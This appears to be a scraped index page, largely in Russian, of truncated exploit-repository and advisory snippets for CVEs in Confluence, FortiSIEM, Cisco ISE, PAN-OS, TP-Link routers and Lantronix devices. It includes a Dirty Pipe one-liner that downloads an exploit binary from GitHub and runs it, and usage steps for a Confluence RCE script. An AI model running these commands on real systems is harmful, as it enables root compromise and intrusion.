CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、разместите cmd.vm на вашем сайте обязательно используйте ftp или https, http не работает 2、отредактируйте RCEexp.py, измените filename = 'ftp://1.1.1.1/cmd.vm' python -m pyftpdlib -p 21 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $...

CVE-2026-80152

Lantronix SLC8000 before firmware v9.7.0.3, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers with the services permission to execute arbitrary shell commands as root by...

CVE-2026-80145

Lantronix SLC8000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers with the services permission to execute arbitrary shell commands as root by...

CVE-2026-80152

Lantronix SLC8000 (before firmware v9.7.0.3), EMG8500/EMG7500 (before v9.7.0.1), and SLB882/SLCx-03/SLCx-02 (all firmware versions) contain an OS command injection in the set script schedule command, which passes unsanitized user input to a system() call. An authenticated attacker with the servic...

EUVD-2026-84517

Lantronix SLC8000 before firmware v9.7.0.3, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers with the services permission to execute arbitrary shell commands as root by...

CVE-2026-80143

Lantronix Autonomous Out-of-Band Devices (SLC8000, EMG8500, EMG7500, SLB882, SLCx-03, SLCx-02) are affected by a command injection vulnerability in the undocumented mfc eeprom read CLI command, which passes unsanitized user input directly to a system() call. Authenticated attackers can exploit th...

CVE-2021-38647

OMIGOD Эксплуатация Proof of Concept для CVE-2021-38647 OMIGOD Дополнительную информацию и контекст можно найти в нашей статье в блоге, посвященной этой уязвимости: https://www.horizon3.ai/news/blog/omigod Детали CVE-2021-38647 — это неаутентифицированная уязвимость удаленного выполнения кода RCE...

Dirty-Pipe

Однострочный эксплойт CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

CVE-2024-23108

CVE-2024-23108: Fortinet FortiSIEM неаутентифицированная инъекция команд второго порядка Эксплойт для проверки концепции, позволяющий слепо выполнять команды от root на уязвимых устройствах FortiSIEM Публикация в блоге Коренная причина и индикаторы компрометации здесь:...

CVE-2023-20887

CVE-2023-20887 POC для CVE-2023-20887 VMWare Aria Operations for Networks vRealize Network Insight неаутентифицированное RCE Технический анализ Анализ первопричины уязвимости можно найти в моём блоге: https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/ Краткое описание...

CVE-2026-11834

CVE-2026-11834 PoC TP-Link DHCP Option 66 неаутентифицированное RCE CVE-2026-11834 Обзор Уязвимость внедрения команд CWE-78 в обработке DHCP Option 66 "Имя TFTP-сервера" прошивки маршрутизаторов TP-Link позволяет неаутентифицированному злоумышленнику в том же сегменте сети выполнять произвольные...

CVE-2026-10520

🎯 CVE-2026-10520 & CVE-2026-10523 - Ivanti Sentry Pre-Authentication Remote Code Execution + Authentication Bypass Автор: Ashraf Zaryouh "0xBlackash" 📌 Обзор Две критические уязвимости, затрагивающие Ivanti Sentry ранее MobileIron Sentry: CVE-2026-10520 → CVSS 10.0 - Внедрение команд ОС без...

CVE-2023-34992

CVE-2023-34992: Fortinet FortiSIEM Неавторизованное внедрение команд Эксплойт доказательства концепции для слепого выполнения команд от root на уязвимых устройствах FortiSIEM Пост в блоге Основная причина и индикаторы компрометации здесь:...

Cisco-CVE-2025-20281-illdeed

CVE-2025-20281 — Эксплойт для неавторизованного удаленного выполнения кода RCE через API ERS в Cisco ISE Этот репозиторий содержит эксплойт для проверки концепции на Python 3 для CVE-2025-20281 , критической уязвимости в Cisco Identity Services Engine ISE , которая позволяет неавторизованное...

CVE-2025-20281-Cisco

CVE-2025-20281 - Проверка уязвимости RCE Cisco ISE Этот скрипт проверяет наличие уязвимости CVE-2025-20281 в Cisco Identity Services Engine ISE и ISE-PIC, которая позволяет неавторизованное удаленное выполнение кода RCE от root из-за недостаточной проверки ввода в конкретном API. Этот инструмент...

CVE-2018-18852

CERIO роутер Авторизованный RCE бэкдор-учётные данные вендора CVE-2018-18852 Python PoC hook-s3c github.com/hook-s3c, @hooks3c в twitter Рабочий Python PoC для CVE-2018-18852, изначально опубликован на; https://github.com/hook-s3c/CVE-2018-18852 Что это Модели и варианты роутеров CERIO: DT300N,...

liferay-ga4-rce-research

Liferay CE 7.0.3 GA4 — исследование уязвимостей RAPTOR Loop-Hunt Аудит безопасности Liferay Portal CE 7.0.3 GA4 git-тег 7.0.3-ga4, коммит b2d7cc68a, выполненный по методологии RAPTOR loop-hunt : детерминированная разведка → 25 изолированных агентов-генераторов, читающих исходники → 22 независимых...

EnGenius EnShare IoT Gigabit Cloud Service 1.4.11 Root Remote Code Execution

An OS command injection vulnerability exists in EnGenius EnShare Cloud Service version 1.4.11 and earlier.The usbinteract.cgi script fails to properly sanitize user input passed to the path parameter, allowing unauthenticated remote attackers to inject arbitrary shell commands.The injected comman...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Внедрение команд в ОС Palo Alto Описание от производителя Уязвимость внедрения команд в функции GlobalProtect программного обеспечения PAN-OS от Palo Alto Networks для определенных версий PAN-OS и отдельных конфигураций функций может позволить неаутентифицированному...

CVE-2023-1389

Описание CVE-2023–1389 — это уязвимость неаутентифицированного внедрения команд в Wi-Fi-роутере TP-Link Archer AX21. Обратный вызов в параметре country использует функцию popen , которая выполняется от root, что позволяет атакующему внедрять произвольные значения через GET или POST запросы к...